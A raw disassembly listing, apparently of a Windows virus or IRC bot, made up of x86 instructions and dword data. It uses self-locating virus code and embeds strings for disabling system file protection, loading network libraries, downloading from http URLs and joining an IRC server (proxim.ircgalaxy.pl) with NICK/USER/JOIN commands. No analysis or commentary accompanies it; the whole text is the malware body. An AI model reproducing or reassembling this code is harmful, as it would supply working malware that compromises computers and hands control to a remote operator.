push esp push 64616572h add [ebx+72h], al db 65h popa jz short near ptr loc_3144A77E+3 push esp outsd outsd insb push 33706C65h xor dl, [ebx+6Eh] popa jo short near ptr loc_3144A79D+1 push 4500746Fh js short loc_3144A79B jz short near ptr loc_3144A787+1 push 64616572h add [esi+69h], al insb db 65h push esp imul ebp, [ebp+65h], 79536F54h jnb short loc_3144A7BC db 65h insd push esp imul ebp, [ebp+65h], 65724600h db 65h dec esp imul esp, [edx+72h], 797261h inc edi db 65h jz short near ptr loc_3144A79F+6 loc_3144A75F: ; CODE XREF: sub_3144A66B+8Fj imul ebp, [ebp+41h], 69727474h loc_3144A767: ; CODE XREF: sub_3144A66B+95j bound esi, [ebp+74h] db 65h jnb short loc_3144A7AE add [edi+65h], al jz short near ptr loc_3144A7B7+1 loc_3144A772: ; CODE XREF: sub_3144A66B+A2j imul ebp, [ebp+53h], 657A69h inc edi db 65h jz short loc_3144A7C4 loc_3144A77E: ; CODE XREF: sub_3144A66B+AFj imul ebp, [ebp+54h], 656D69h inc edi loc_3144A787: ; CODE XREF: sub_3144A66B+C7j db 65h jz short near ptr loc_3144A7D6+1 outsd db 64h jnz short near ptr loc_3144A7F5+5 db 65h dec eax popa outsb db 64h insb db 65h inc ecx add [edi+65h], al jz short near ptr loc_3144A7E9+6 loc_3144A79B: ; CODE XREF: sub_3144A66B+C5j db 65h insd loc_3144A79D: ; CODE XREF: sub_3144A66B+BEj jo short near ptr loc_3144A7E3+2 loc_3144A79F: ; CODE XREF: sub_3144A66B+F1j imul ebp, [ebp+4Eh], 41656D61h add [edi+65h], al jz short near ptr loc_3144A7FD+3 db 65h insd loc_3144A7AE: ; CODE XREF: sub_3144A66B+FFj jo short near ptr loc_3144A7FD+3 popa jz short near ptr loc_3144A81A+1 inc ecx add [edi+65h], al loc_3144A7B7: ; CODE XREF: sub_3144A66B+105j jz short loc_3144A80F db 65h jb short near ptr loc_3144A82E+1 loc_3144A7BC: ; CODE XREF: sub_3144A66B+DBj imul ebp, [edi+6Eh], 74654700h push esi loc_3144A7C4: ; CODE XREF: sub_3144A66B+110j db 65h jb short near ptr loc_3144A838+2 imul ebp, [edi+6Eh], 417845h inc edi db 65h jz short near ptr loc_3144A827+1 outsd insb jnz short near ptr loc_3144A83D+6 loc_3144A7D6: ; CODE XREF: sub_3144A66B:loc_3144A787j db 65h dec ecx outsb outsw jb short near ptr loc_3144A848+2 popa jz short near ptr loc_3144A848+1 outsd outsb inc ecx loc_3144A7E3: ; CODE XREF: sub_3144A66B:loc_3144A79Dj add [edi+ebp*2+61h], cl db 64h dec esp loc_3144A7E9: ; CODE XREF: sub_3144A66B+12Ej imul esp, [edx+72h], 41797261h add [ebp+61h], cl jo short loc_3144A84B loc_3144A7F5: ; CODE XREF: sub_3144A66B+120j imul esp, [ebp+77h], 6946664Fh insb loc_3144A7FD: ; CODE XREF: sub_3144A66B+13Fj ; sub_3144A66B:loc_3144A7AEj add gs:[edi+70h], cl outs dx, byte ptr gs:[esi] inc esi imul ebp, [ebp+4Dh], 69707061h outsb db 67h inc ecx loc_3144A80F: ; CODE XREF: sub_3144A66B:loc_3144A7B7j add [edi+70h], cl outs dx, byte ptr gs:[esi] push eax jb short near ptr loc_3144A885+1 arpl [ebp+73h], sp loc_3144A81A: ; CODE XREF: sub_3144A66B+146j jnb short $+2 push eax jb short loc_3144A88E arpl [ebp+73h], sp jnb short near ptr loc_3144A850+7 xor al, [esi+69h] loc_3144A827: ; CODE XREF: sub_3144A66B+164j jb short near ptr loc_3144A896+6 jz short $+2 push eax jb short near ptr loc_3144A896+7 loc_3144A82E: ; CODE XREF: sub_3144A66B+14Ej arpl [ebp+73h], sp jnb short near ptr loc_3144A865+1 xor cl, [esi+65h] js short near ptr loc_3144A8A8+4 loc_3144A838: ; CODE XREF: sub_3144A66B:loc_3144A7C4j add [ebx+65h], dl jz short near ptr loc_3144A881+2 loc_3144A83D: ; CODE XREF: sub_3144A66B+169j imul ebp, [ebp+41h], 69727474h bound esi, [ebp+74h] loc_3144A848: ; CODE XREF: sub_3144A66B+173j ; sub_3144A66B+170j db 65h jnb short loc_3144A88C loc_3144A84B: ; CODE XREF: sub_3144A66B+188j add [ebx+65h], dl jz short loc_3144A896 loc_3144A850: ; CODE XREF: sub_3144A66B+1B7j imul ebp, [ebp+54h], 656D69h push ebx insb db 65h, 65h jo short $+4 push ebx jns short loc_3144A8D4 jz short loc_3144A8C8 insd push esp loc_3144A865: ; CODE XREF: sub_3144A66B+1C6j imul ebp, [ebp+65h], 69466F54h insb db 65h push esp imul ebp, [ebp+65h], 6D6E5500h popa jo short loc_3144A8CF imul esp, [ebp+77h], 6946664Fh insb loc_3144A881: ; CODE XREF: sub_3144A66B+1D0j add gs:[esi+69h], dl loc_3144A885: ; CODE XREF: sub_3144A66B+1AAj jb short near ptr loc_3144A8FA+1 jnz short loc_3144A8EA insb inc ecx insb loc_3144A88C: ; CODE XREF: sub_3144A66B:loc_3144A848j insb outsd loc_3144A88E: ; CODE XREF: sub_3144A66B+1B2j arpl [eax], ax push edi jb short loc_3144A8FC jz short loc_3144A8FA inc esi loc_3144A896: ; CODE XREF: sub_3144A66B+1E3j ; sub_3144A66B:loc_3144A827j ... imul ebp, [ebp+0], 6441744Eh push 75h jnb short loc_3144A916 push eax jb short near ptr loc_3144A90B+3 jbe short near ptr loc_3144A90B+5 insb loc_3144A8A8: ; CODE XREF: sub_3144A66B+1CBj db 65h, 67h, 65h jnb near ptr 0A901h outsd imul esp, [ebp+6Eh], 0 dec esi jz short near ptr loc_3144A8F7+1 jb short near ptr loc_3144A91B+1 popa jz short loc_3144A91F inc esi imul ebp, [ebp+0], 7243744Eh db 65h popa jz short loc_3144A92C push eax loc_3144A8C8: ; CODE XREF: sub_3144A66B+1F6j jb short loc_3144A939 arpl [ebp+73h], sp jnb short $+2 loc_3144A8CF: ; CODE XREF: sub_3144A66B+20Cj dec esi jz short near ptr loc_3144A912+3 jb short loc_3144A939 loc_3144A8D4: ; CODE XREF: sub_3144A66B+1F4j popa jz short loc_3144A93C push eax jb short loc_3144A949 arpl [ebp+73h], sp jnb short near ptr loc_3144A91F+5 js short $+2 dec esi jz short loc_3144A927 jb short loc_3144A94B popa jz short near ptr loc_3144A94B+3 push ebx loc_3144A8EA: ; CODE XREF: sub_3144A66B+21Cj arpl gs:[ecx+ebp*2+6Fh], si outsb add [esi+74h], cl inc ebx jb short near ptr loc_3144A95A+1 popa loc_3144A8F7: ; CODE XREF: sub_3144A66B+248j jz short loc_3144A95E push ebp loc_3144A8FA: ; CODE XREF: sub_3144A66B+228j ; sub_3144A66B:loc_3144A885j jnb short near ptr loc_3144A960+1 loc_3144A8FC: ; CODE XREF: sub_3144A66B+226j jb short near ptr loc_3144A94B+3 jb short loc_3144A96F arpl [ebp+73h], sp jnb short $+2 dec esi jz short loc_3144A955 popa jo short near ptr loc_3144A960+1 loc_3144A90B: ; CODE XREF: sub_3144A66B+238j ; sub_3144A66B+23Aj imul esp, [ebp+77h], 6553664Fh loc_3144A912: ; CODE XREF: sub_3144A66B+265j arpl [ecx+ebp*2+6Fh], si loc_3144A916: ; CODE XREF: sub_3144A66B+235j outsb add [esi+74h], cl dec edi loc_3144A91B: ; CODE XREF: sub_3144A66B+24Aj jo short loc_3144A982 outsb inc esi loc_3144A91F: ; CODE XREF: sub_3144A66B+24Dj ; sub_3144A66B+272j imul ebp, [ebp+0], 704F744Eh loc_3144A927: ; CODE XREF: sub_3144A66B+277j outs dx, byte ptr gs:[esi] push eax jb short loc_3144A99B loc_3144A92C: ; CODE XREF: sub_3144A66B+25Aj arpl [ebp+73h], sp jnb short loc_3144A985 outsd imul esp, [ebp+6Eh], 0 dec esi jz short near ptr loc_3144A987+1 loc_3144A939: ; CODE XREF: sub_3144A66B:loc_3144A8C8j ; sub_3144A66B+267j jo short near ptr loc_3144A99F+1 outsb loc_3144A93C: ; CODE XREF: sub_3144A66B+26Aj push ebx arpl gs:[ecx+ebp*2+6Fh], si outsb add [esi+74h], cl push eax jb short near ptr loc_3144A9B7+1 loc_3144A949: ; CODE XREF: sub_3144A66B+26Dj jz short near ptr loc_3144A9AF+1 loc_3144A94B: ; CODE XREF: sub_3144A66B+279j ; sub_3144A66B+27Cj ... arpl [esi+edx*2+69h], si jb short loc_3144A9C5 jnz short near ptr loc_3144A9B3+1 insb dec ebp loc_3144A955: ; CODE XREF: sub_3144A66B+29Bj db 65h insd outsd jb short near ptr loc_3144A9D0+3 loc_3144A95A: ; CODE XREF: sub_3144A66B+289j add [esi+74h], cl push ecx loc_3144A95E: ; CODE XREF: sub_3144A66B:loc_3144A8F7j jnz short loc_3144A9C5 loc_3144A960: ; CODE XREF: sub_3144A66B:loc_3144A8FAj ; sub_3144A66B+29Ej jb short near ptr loc_3144A9DA+1 dec ecx outsb outsw jb short near ptr loc_3144A9D4+1 popa jz short loc_3144A9D4 outsd outsb push esp outsd loc_3144A96F: ; CODE XREF: sub_3144A66B+293j imul esp, [ebp+6Eh], 0 dec esi jz short near ptr loc_3144A9CB+2 jb short loc_3144A9E1 jz short near ptr loc_3144A9DE+1 push esi imul esi, [edx+74h], 4D6C6175h loc_3144A982: ; CODE XREF: sub_3144A66B:loc_3144A91Bj db 65h insd outsd loc_3144A985: ; CODE XREF: sub_3144A66B+2C4j jb short loc_3144AA00 loc_3144A987: ; CODE XREF: sub_3144A66B+2CCj add [edx+74h], dl insb push ebp outsb imul esp, [ebx+6Fh], 74536564h jb short near ptr loc_3144A9FD+2 outsb db 67h push esp outsd inc ecx loc_3144A99B: ; CODE XREF: sub_3144A66B+2BFj outsb jnb short near ptr loc_3144AA06+1 push ebx loc_3144A99F: ; CODE XREF: sub_3144A66B:loc_3144A939j jz short loc_3144AA13 imul ebp, [esi+67h], 41535700h push ebx jz short loc_3144AA0C jb short loc_3144AA21 jnz short near ptr loc_3144AA1E+1 loc_3144A9AF: ; CODE XREF: sub_3144A66B:loc_3144A949j add [ebx+6Ch], ah outsd loc_3144A9B3: ; CODE XREF: sub_3144A66B+2E6j jnb short loc_3144AA1A jnb short near ptr loc_3144AA25+1 loc_3144A9B7: ; CODE XREF: sub_3144A66B+2DCj arpl [ebx+65h], bp jz short $+2 arpl [edi+6Eh], bp outsb arpl gs:[eax+eax+67h], si loc_3144A9C5: ; CODE XREF: sub_3144A66B+2E4j ; sub_3144A66B:loc_3144A95Ej db 65h jz short near ptr loc_3144AA2F+1 outsd jnb short near ptr loc_3144AA3D+2 loc_3144A9CB: ; CODE XREF: sub_3144A66B+309j bound edi, [ecx+6Eh] popa insd loc_3144A9D0: ; CODE XREF: sub_3144A66B+2EDj add gs:[edx+65h], dh loc_3144A9D4: ; CODE XREF: sub_3144A66B+2FEj ; sub_3144A66B+2FBj arpl [esi+0], si jnb short near ptr loc_3144AA3D+1 outsb loc_3144A9DA: ; CODE XREF: sub_3144A66B:loc_3144A960j add fs:[ebx+6Fh], dh loc_3144A9DE: ; CODE XREF: sub_3144A66B+30Dj arpl [ebx+65h], bp loc_3144A9E1: ; CODE XREF: sub_3144A66B+30Bj jz short $+2 dec ecx outsb jz short loc_3144AA4C jb short loc_3144AA57 db 65h jz short loc_3144AA2F insb outsd jnb short near ptr loc_3144AA54+1 dec eax popa outsb db 64h insb add gs:[ecx+6Eh], cl jz short loc_3144AA60 jb short near ptr loc_3144AA6A+1 loc_3144A9FD: ; CODE XREF: sub_3144A66B+329j db 65h jz short loc_3144AA47 loc_3144AA00: ; CODE XREF: sub_3144A66B:loc_3144A985j db 65h jz short loc_3144AA46 outsd outsb outsb loc_3144AA06: ; CODE XREF: sub_3144A66B+331j arpl gs:[ebp+64h], si push ebx loc_3144AA0C: ; CODE XREF: sub_3144A66B+33Ej jz short near ptr loc_3144AA6E+1 jz short loc_3144AA75 add [ecx+6Eh], cl loc_3144AA13: ; CODE XREF: sub_3144A66B:loc_3144A99Fj jz short near ptr loc_3144AA78+2 jb short loc_3144AA85 db 65h jz short near ptr loc_3144AA67+2 loc_3144AA1A: ; CODE XREF: sub_3144A66B:loc_3144A9B3j jo short loc_3144AA81 outsb inc ecx loc_3144AA1E: ; CODE XREF: sub_3144A66B+342j add [ecx+6Eh], cl loc_3144AA21: ; CODE XREF: sub_3144A66B+340j jz short near ptr loc_3144AA87+1 jb short loc_3144AA93 loc_3144AA25: ; CODE XREF: sub_3144A66B+34Aj db 65h jz short near ptr loc_3144AA76+1 jo short loc_3144AA8F outsb push ebp jb short near ptr loc_3144AA98+2 inc ecx loc_3144AA2F: ; CODE XREF: sub_3144A66B+37Ej ; sub_3144A66B:loc_3144A9C5j add [ecx+6Eh], cl jz short near ptr loc_3144AA98+1 jb short loc_3144AAA4 db 65h jz short near ptr loc_3144AA8A+1 db 65h popa db 64h inc esi loc_3144AA3D: ; CODE XREF: sub_3144A66B+36Cj ; sub_3144A66B+35Ej imul ebp, [ebp+0], 41564441h push eax loc_3144AA46: ; CODE XREF: sub_3144A66B:loc_3144AA00j dec ecx loc_3144AA47: ; CODE XREF: sub_3144A66B:loc_3144A9FDj xor esi, [edx] db 2Eh inc esp dec esp loc_3144AA4C: ; CODE XREF: sub_3144A66B+37Aj dec esp add [edx+65h], dl db 67h inc ebx insb outsd loc_3144AA54: ; CODE XREF: sub_3144A66B+383j jnb short near ptr loc_3144AAB9+2 dec ebx loc_3144AA57: ; CODE XREF: sub_3144A66B+37Cj db 65h jns short $+3 push edx db 65h, 67h dec edi jo short loc_3144AAC5 loc_3144AA60: ; CODE XREF: sub_3144A66B+38Ej outsb dec ebx db 65h jns short near ptr loc_3144AAA8+2 js short loc_3144AAA8 loc_3144AA67: ; CODE XREF: sub_3144A66B+3ACj add [edx+65h], dl loc_3144AA6A: ; CODE XREF: sub_3144A66B+390j db 67h push ecx jnz short loc_3144AAD3 loc_3144AA6E: ; CODE XREF: sub_3144A66B:loc_3144AA0Cj jb short near ptr loc_3144AAE8+1 push esi popa insb jnz short near ptr loc_3144AAD9+1 loc_3144AA75: ; CODE XREF: sub_3144A66B+3A3j inc ebp loc_3144AA76: ; CODE XREF: sub_3144A66B:loc_3144AA25j js short loc_3144AAB9 loc_3144AA78: ; CODE XREF: sub_3144A66B:loc_3144AA13j add [edx+65h], dl db 67h push ebx db 65h jz short loc_3144AAD6 popa loc_3144AA81: ; CODE XREF: sub_3144A66B:loc_3144AA1Aj insb jnz short near ptr loc_3144AAE8+1 inc ebp loc_3144AA85: ; CODE XREF: sub_3144A66B+3AAj js short loc_3144AAC8 loc_3144AA87: ; CODE XREF: sub_3144A66B:loc_3144AA21j add [esi+33h], dl loc_3144AA8A: ; CODE XREF: sub_3144A66B+3CBj imul byte ptr [edx+2] push esi push esi loc_3144AA8F: ; CODE XREF: sub_3144A66B+3BDj mov edx, esp push 1 loc_3144AA93: ; CODE XREF: sub_3144A66B+3B8j push edx push dword ptr [edx+18h] push esi loc_3144AA98: ; CODE XREF: sub_3144A66B+3C7j ; sub_3144A66B+3C1j call dword ptr [ebp+10428Ch] mov eax, esp push esi push esi push esi push eax loc_3144AAA4: ; CODE XREF: sub_3144A66B+3C9j push esi push dword ptr [eax+18h] loc_3144AAA8: ; CODE XREF: sub_3144A66B+3FAj ; sub_3144A66B+3F7j call dword ptr [ebp+103EFAh] add esp, 10h pop esi retn 8 ; END OF FUNCTION CHUNK FOR sub_3144A66B ; --------------------------------------------------------------------------- db 8Dh ; db 49h ; I db 0FBh ; db 2Bh ; + ; --------------------------------------------------------------------------- loc_3144AAB9: ; CODE XREF: sub_3144A66B:loc_3144AA76j ; sub_3144A66B:loc_3144AA54j enter 6851h, 0 ; --------------------------------------------------------------------------- db 0 db 0 db 0E8h ; db 8Dh ; db 4Ch ; L db 24h ; $ db 3 db 6Ah ; j ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_3144A66B loc_3144AAC5: ; CODE XREF: sub_3144A66B+3F3j add [edx+5], ch loc_3144AAC8: ; CODE XREF: sub_3144A66B:loc_3144AA85j push ecx push eax push ebx push 5 mov ecx, esp push eax mov edx, esp push eax loc_3144AAD3: ; CODE XREF: sub_3144A66B+401j push esp push 40h loc_3144AAD6: ; CODE XREF: sub_3144A66B+412j push ecx push edx push ebx loc_3144AAD9: ; CODE XREF: sub_3144A66B+408j call dword ptr [ebp+103F22h] add esp, 0Ch call dword ptr [ebp+103F2Ah] loc_3144AAE8: ; CODE XREF: sub_3144A66B:loc_3144AA6Ej ; sub_3144A66B+417j add esp, 8 retn ; END OF FUNCTION CHUNK FOR sub_3144A66B ; --------------------------------------------------------------------------- db 8Dh ; db 95h ; db 30h ; 0 db 3Eh ; > db 10h db 0 db 33h ; 3 db 0C9h ; db 6Ah ; j db 0 db 52h ; R db 68h ; h db 30h ; 0 db 0 db 32h ; 2 db 0 db 8Bh ; db 0C4h ; db 51h ; Q db 51h ; Q db 6Ah ; j db 40h ; @ db 50h ; P db 51h ; Q db 6Ah ; j db 18h db 83h ; db 0C0h ; db 8 db 54h ; T db 6Ah ; j db 0Eh db 50h ; P db 0FFh db 95h ; db 1Eh db 3Fh ; ? db 10h db 0 db 83h ; db 0C4h ; db 20h db 33h ; 3 db 0D2h ; db 85h ; db 0C0h ; db 0Fh db 99h ; db 0C2h ; db 0F7h ; db 0DAh ; db 58h ; X db 23h ; # db 0C2h ; db 0C3h ; db 57h ; W db 33h ; 3 db 0FFh db 0E8h ; db 0C1h ; db 0FFh db 0FFh db 0FFh db 0Fh db 84h ; db 0A5h ; db 0 db 0 db 0 db 50h ; P db 68h ; h db 28h ; ( db 73h ; s db 0 db 0 db 8Bh ; db 0D4h ; db 6Ah ; j db 0 db 8Bh ; db 0CCh ; db 6Ah ; j db 40h ; @ db 68h ; h db 0 db 0 db 10h db 0 db 6Ah ; j db 2 db 52h ; R db 6Ah ; j db 0 db 68h ; h db 28h ; ( db 73h ; s db 0 db 0 db 6Ah ; j db 0 db 51h ; Q db 53h ; S db 50h ; P db 0FFh db 95h ; db 12h db 3Fh ; ? db 10h db 0 db 5Fh ; _ db 59h ; Y db 0FFh db 95h ; db 62h ; b db 3Eh ; > db 10h db 0 db 85h ; db 0FFh db 74h ; t db 71h ; q db 8Bh ; db 8Dh ; db 90h ; db 15h db 10h db 0 db 0E3h ; db 0Ch db 8Dh ; db 95h ; db 0 db 10h db 10h db 0 db 3 db 0D1h ; db 57h ; W db 53h ; S db 0FFh db 0D2h ; db 8Bh ; db 85h ; db 0FEh ; db 3Eh ; > db 10h db 0 db 8Dh ; db 8Fh ; db 16h db 29h ; ) db 0 db 0 db 0E8h ; db 2Bh ; + db 0FFh db 0FFh db 0FFh db 8Bh ; db 85h ; db 16h db 3Fh ; ? db 10h db 0 db 8Dh ; db 8Fh ; db 63h ; c db 29h ; ) db 0 db 0 db 0E8h ; db 1Ah db 0FFh db 0FFh db 0FFh db 8Bh ; db 85h ; db 2 db 3Fh ; ? db 10h db 0 db 8Dh ; db 8Fh ; db 6Ah ; j db 29h ; ) db 0 db 0 db 0E8h ; db 9 db 0FFh db 0FFh db 0FFh db 8Bh ; db 85h ; db 6 db 3Fh ; ? db 10h db 0 db 85h ; db 0C0h ; db 74h ; t db 20h db 8Dh ; db 8Fh ; db 77h ; w db 29h ; ) db 0 db 0 db 0E8h ; db 0F4h ; db 0FEh ; db 0FFh db 0FFh db 8Bh ; db 85h ; db 0Eh db 3Fh ; ? db 10h db 0 db 85h ; db 0C0h ; db 74h ; t db 0Bh db 8Dh ; db 8Fh ; db 84h ; db 29h ; ) db 0 db 0 db 0E8h ; db 0DFh ; db 0FEh ; db 0FFh db 0FFh db 8Bh ; db 0C7h ; db 5Fh ; _ db 0C3h ; db 55h ; U db 0E8h ; db 0 db 0 db 0 db 0 ; --------------------------------------------------------------------------- pop ebp sub ebp, 101B24h xor ecx, ecx lea eax, [ebp+101EAFh] push ecx push esp push ecx push ecx push eax push ecx push ecx call dword ptr [ebp+103E8Eh] xchg eax, [esp] call dword ptr [ebp+103E62h] pop ebp retn 4 ; --------------------------------------------------------------------------- db 55h, 0E8h, 0 dd 5D000000h, 1B53ED81h, 0FF6A0010h, 1B1E958Dh, 52500010h dd 2420CDh, 0C483002Ah, 85C7660Ch, 101B64h, 85C720CDh dd 101B66h, 2A0024h, 1A6AC35Dh, 9E858h, 428D0000h, 0C9FEAA61h dd 69C3F075h, 103F7C95h, 8840500h, 95894208h, 103F7Ch dd 55C3E2F7h, 0E8h, 0ED815D00h, 101BADh, 3F809D8Bh, 7C830010h dd 0F000824h, 0B984h, 8EC8100h, 54000002h, 10468h, 0B695FF00h dd 8B00103Eh, 24848DFCh, 104h, 0E8006A50h, 4, 525256h dd 0B295FF57h, 3300103Eh, 4978DC9h, 51000001h, 51026A51h dd 68016Ah, 52400000h, 3E7E95FFh, 85960010h, 505B74F6h dd 1046854h, 0FF570000h, 22024B4h, 95FF0000h, 103F5Eh dd 74C08559h, 5014E316h, 6AD48Bh, 56575152h, 3EF695FFh dd 85590010h, 56D075C0h, 3E6295FFh, 578D0010h, 6A575244h dd 978D5844h, 104h, 6AC033ABh, 0ABF35910h, 50505050h, 52505050h dd 3E8695FFh, 0C4810010h, 208h, 82474FFh, 3F4E95FFh, 0FF530010h dd 103F4E95h, 4C25D00h, 0A3E8000h, 8B460175h, 10158C8Dh dd 8D19E300h, 10100095h, 56D10300h, 0C084D2FFh, 11F880Fh dd 840F0000h, 110h, 753A3E80h, 3E804610h, 1840F00h, 80000001h dd 0F175203Eh, 503E8146h, 75474E49h, 0C6CF8B42h, 2B4F0146h dd 6A51CEh, 0FF535651h, 103F4695h, 0C13B5900h, 0DF850Fh dd 858D0000h, 101EA3h, 0C68006Ah, 50000000h, 4695FF53h dd 3D00103Fh, 0Ch, 0BF850Fh, 0B1E90000h, 81000000h, 4952503Eh dd 0A5850F56h, 83000000h, 3CAC08C6h, 99840F0Dh, 3C000000h dd 0ACF37520h, 850F3A3Ch, 8Ch, 20200DADh, 213D2020h, 75746567h dd 203CAC7Fh, 7E817C75h, 746820FFh, 81717574h, 3A70037Eh dd 68752F2Fh, 0FF47C6h, 10BA310Fh, 0F7000027h, 95FF52E2h dd 103EE6h, 5050C033h, 9E85050h, 44000000h, 6C6E776Fh dd 64616Fh, 3F5695FFh, 0C0850010h, 0C9333674h, 3F808589h dd 68510010h, 80000200h, 50565151h, 3F5A95FFh, 958D0010h dd 101BA7h, 54C93350h, 51525051h, 8E95FF51h, 8700103Eh dd 95FF2404h, 103E62h, 8D80C3F8h, 10157Fh, 6AC3F901h, 0FF016A01h dd 473FF33h, 0C08515FFh, 0DB335A74h, 0BB3D08Bh, 8D3C5003h dd 101DCBB5h, 0CBA8B00h, 8B000001h, 1088Ah, 2BF80300h dd 0CB8B60CBh, 7461A6F3h, 0F5E24705h, 0C7832EEBh, 0CC8B530Fh dd 50D48B57h, 51406A54h, 0FFFF6A52h, 103F2295h, 968D8B00h dd 8300103Eh, 0CF2B0CC4h, 0C707E983h, 0E8006A07h, 34F8900h dd 464F53C3h, 52415754h, 694D5C45h, 736F7263h, 5C74666Fh dd 646E6957h, 5C73776Fh, 72727543h, 56746E65h, 69737265h dd 455C6E6Fh, 6F6C7078h, 726572h, 67726154h, 6F487465h dd 2007473h, 500000h, 70000000h, 69786F72h, 72692E6Dh dd 6C616763h, 2E797861h, 4E006C70h, 204B4349h, 6C7A776Ch dd 71727677h, 4553550Ah, 4A752052h, 204E494Fh, 72697626h dd 550A7574h, 0E8h, 0ED815D00h, 101EB5h, 157F85C6h, 0FF000010h dd 103EBA95h, 1FE8C100h, 1E6A3C74h, 3E72B58Bh, 0AC590010h dd 2A752E3Ch, 0FF3E8166h, 8D23751Dh, 103F76BDh, 2768B00h dd 0A566A557h, 38EC858Dh, 858F0010h, 103912h, 0FA4689FAh dd 0FBFE4E8Ch, 0CFE201B1h, 21E850EBh, 83FFFFFBh, 408247Ch dd 8E84475h, 53000000h, 442E4346h, 0FF004C4Ch, 103EC695h dd 74C00B00h, 26A930Dh, 6E95FF53h, 0FF00103Eh, 97E893D0h dd 0E8FFFFFEh, 0Bh, 5F434653h, 442E534Fh, 0FF004C4Ch, 103EC695h dd 0FE7CE800h, 0E8FFFFh, 0FFFFFFF6h, 1012D48Dh, 8DC93300h dd 10432485h, 51515100h, 51515051h, 0C295FF51h, 0E800103Eh dd 0Bh, 52455355h, 442E3233h, 0FF004C4Ch, 103EC695h, 0AE800h dd 73770000h, 6E697270h, 416674h, 6E95FF50h, 8900103Eh dd 103E7685h, 8D310F00h, 1019858Dh, 7C858900h, 5100103Fh dd 3EC695FFh, 68930010h, 4, 1992B58Dh, 8D590010h, 103F62BDh dd 0F5C2E800h, 0C766FFFFh, 101E7585h, 83500000h, 101E77A5h dd 958D0000h, 101E35h, 16A5450h, 6852006Ah, 80000002h dd 3F6695FFh, 0C0850010h, 8D22755Ah, 101E688Dh, 66A5200h dd 1E75B58Dh, 56540010h, 52515050h, 3F6A95FFh, 0FF580010h dd 103F6295h, 8385C600h, 1041h, 0CE8h, 4F535700h, 32334B43h dd 4C4C442Eh, 0C695FF00h, 9300103Eh, 768h, 0E9B58D00h dd 59001018h, 3F32BD8Dh, 3DE80010h, 0E8FFFFF5h, 0Ch, 494E4957h dd 2E54454Eh, 4C4C44h, 3EC695FFh, 0C0850010h, 235840Fh dd 68930000h, 5, 1927B58Dh, 8D590010h, 103F4EBDh, 0F506E800h dd 0BD83FFFFh, 103F52h, 10840F00h, 81000002h, 190ECh, 1685400h dd 0FF000001h, 103F3295h, 90C48100h, 50000001h, 6AD48Bh dd 5295FF52h, 8500103Fh, 0D7559C0h, 138868h, 0E695FF00h dd 0EB00103Eh, 77BD83E2h, 101Eh, 858D2975h, 101E7Bh, 3E95FF50h dd 8500103Fh, 89840FC0h, 8B000001h, 8B0C40h, 858F30FFh dd 101E77h, 418385C6h, 6A010010h, 6A016A00h, 4A95FF02h dd 8300103Fh, 840FFFF8h, 160h, 73958D93h, 6A00101Eh, 0FF535210h dd 103F3A95h, 0FC08500h, 14085h, 94BD8D00h, 0B100101Eh dd 0FA3CE808h, 9468FFFFh, 5E000000h, 3489E62Bh, 95FF5424h dd 103EBEh, 1EA2BD8Dh, 1B10010h, 0FFFA1DE8h, 8F958DFFh dd 6A00101Eh, 146800h, 53520000h, 3F4695FFh, 448D0010h dd 958D1424h, 104324h, 0AB60F50h, 1424448Bh, 208E0C1h dd 4A12014Ah, 34A1202h, 824440Bh, 0C10FE180h, 0B5108E0h dd 0FF102444h, 0BD8D5032h, 103F84h, 1CE8h, 362E2500h, 202E2078h dd 253A202Eh, 382E2525h, 20782578h, 4A0A7325h, 204E494Fh dd 95FF5700h, 103E76h, 0ACC481h, 6A0000h, 0FF535750h, 103F4695h dd 988D8B00h, 6A001015h, 6B1BE300h, 0E8510DC9h, 5, 0A642526h dd 95FF5700h, 103E76h, 500CC483h, 7680BEBh, 8D000000h dd 101EA8BDh, 0FF535700h, 103F4695h, 7EC08500h, 84B58D54h dd 8300103Fh, 101598A5h, 8D8D0000h, 104183h, 6ACE2Bh, 0FF535651h dd 103F4295h, 0F88300h, 8B912F7Eh, 84B58DFEh, 0B000103Fh dd 75AEF20Dh, 2AE86010h, 61FFFFFAh, 9E31772h, 0EB01778Dh dd 2BCF8BEAh, 84BD8DCEh, 0F300103Fh, 0EBF787A4h, 95FF53B9h dd 103F36h, 157FBD80h, 74010010h, 7530682Ah, 95FF0000h dd 103EE6h, 4183BD80h, 74000010h, 7785C711h, 101Eh, 0C6000000h dd 10418385h, 8E90000h, 0C7FFFFFEh, 10158885h, 0 dd 4C25D80h, 4F0A0D00h, 6F6F6E20h, 666F206Eh, 66696C20h dd 4F202165h, 6D697420h, 6F742065h, 6C656320h, 61726265h dd 0D216574h, 2020200Ah, 204F2020h, 6D6D7573h, 67207265h dd 65647261h, 0A0D216Eh, 656C6552h, 656C746Eh, 796C7373h dd 70616820h, 61207970h, 6520646Eh, 63657078h, 746E6174h dd 7473202Ch, 69646E61h, 203A676Eh, 570A0D2Dh, 68637461h dd 20676E69h, 206C6C61h, 20796164h, 20646E61h, 6867696Eh dd 66202C74h, 6620726Fh, 6E656972h, 49207364h, 69617720h dd 0A0D3A74h, 72656857h, 72612065h, 6F792065h, 66202C75h dd 6E656972h, 203F7364h, 656D6F43h, 74492021h, 20736920h dd 656D6974h, 74492021h, 6C207327h, 21657461h, 4CA2A1A8h dd 4A3BFDD0h, 7BDAFA3Ch, 10A61429h, 1333540h, 27B1FAE5h dd 8352B2E8h, 3AAB5957h, 0C26CCC5Ch, 40375248h, 8088D662h dd 1A73C17Eh, 0DB69DD71h, 12h dup(0) dd 6E232596h, 0F4A58360h, 1042h, 42F8A583h, 0F000010h ; CODE XREF: .ifc_:3144BFE6p ; .ifc_:3144C00Dp ... dd 8D1443B7h, 0B70F1853h, 0D003064Bh, 2424448Bh, 720C422Bh dd 8423B19h, 428B1473h, 0C422B14h, 42F49589h, 85890010h dd 1042F8h, 0C28305EBh, 61D9E228h, 880004C2h, 10246785h dd 64E800h, 20680000h, 8D000000h, 10239485h, 18395900h dd 0C0830C74h, 0FFF7E204h, 1042D085h, 0D9F7C300h, 24678D03h dd 10E30010h, 8FFC70FFh, 4E88300h, 9D89F6E2h, 102394h dd 74003A83h, 3322B05h, 4E8D1072h, 5E5B58FCh, 74003A83h dd 0EB32FF04h, 1072FF03h, 0FFFF57E8h, 2BCE2BFFh, 1042F88Dh dd 4B035800h, 858FC334h, 1042D4h, 42D085C7h, 10h, 3CE80000h dd 8B000000h, 1042D085h, 0F6A9E800h, 18E8FFFFh, 83000000h dd 1042D0BDh, 8750000h, 24109D89h, 9CEB0010h, 42D08DFFh dd 8FC30010h, 1042D485h, 0D0958900h, 0E8001042h, 3, 